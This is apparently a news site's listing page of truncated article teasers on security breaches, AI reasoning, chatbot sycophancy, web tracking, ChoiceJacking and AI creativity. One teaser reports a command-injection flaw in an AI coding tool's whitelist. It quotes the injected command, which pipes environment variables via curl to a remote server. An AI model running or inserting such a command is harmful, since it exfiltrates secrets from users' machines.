Amid Ascension’s decision not to discuss the attack, there aren’t enough details to provide a complete autopsy of Ascension’s missteps and the measures the company could have taken to prevent the network breach. In general, though, the one-two pivot indicates a failure to follow various well-established security approaches. One of them is known as security… Read More »
Knowledge emerges from understanding how ideas relate to each other. LLMs operate on these contextual relationships, linking concepts in potentially novel ways—what you might call a type of non-human “reasoning” through pattern recognition. Whether the resulting linkages the AI model outputs are useful depends on how you prompt it and whether you can recognize when… Read More »
This isn’t about demonizing AI or suggesting that these tools are inherently dangerous for everyone. Millions use AI assistants productively for coding, writing, and brainstorming without incident every day. The problem is specific, involving vulnerable users, sycophantic large language models, and harmful feedback loops. A machine that uses language fluidly, convincingly, and tirelessly is a… Read More »
“At no stage is any subsequent element of the command string after the first ‘grep’ compared to a whitelist,” Cox said. “It just gets free rein to execute off the back of the grep command.” The command line in its entirety was: “grep install README.md; ; env | curl –silent -X POST –data-binary @- http://remote.server:8083… Read More »
The reported $100 billion profit threshold we mentioned earlier conflates commercial success with cognitive capability, as if a system’s ability to generate revenue says anything meaningful about whether it can “think,” “reason,” or “understand” the world like a human. Sam Altman speaks onstage during The New York Times Dealbook Summit 2024 at Jazz at Lincoln… Read More »
An overview of Yandex identifier sharing An overview of Yandex identifier sharing A timeline of web history tracking by Meta and Yandex A timeline of web history tracking by Meta and Yandex Some browsers for Android have blocked the abusive JavaScript in trackers. DuckDuckGo, for instance, was already blocking domains and IP addresses associated with… Read More »
Since 2022, we’ve been using the prompt “a muscular barbarian with weapons beside a CRT television set, cinematic, 8K, studio lighting” to test AI image generators like Midjourney. It’s time to bring that barbarian to life. A muscular barbarian man holding an axe, standing next to a CRT television set. He looks at the TV,… Read More »
Inside the laptop/desktop examination bay at SK TES’s Fredericksburg, Va. site. Credit: SK tes Inside the laptop/desktop examination bay at SK TES’s Fredericksburg, Va. site. Credit: SK tes The details of each unit—CPU, memory, HDD size—are taken down and added to the asset tag, and the device is sent on to be physically examined. This… Read More »
All three of the ChoiceJacking techniques defeat Android juice-jacking mitigations. One of them also works against those defenses in Apple devices. In all three, the charger acts as a USB host to trigger the confirmation prompt on the targeted phone. The attacks then exploit various weaknesses in the OS that allow the charger to autonomously… Read More »
Cultivating the future So what might a sustainable ecosystem for human creativity actually involve? Legal and economic approaches will likely be key. Governments could legislate that AI training must be opt-in, or at the very least, provide a collective opt-out registry (as the EU’s “AI Act” does). Other potential mechanisms include robust licensing or royalty systems, such… Read More »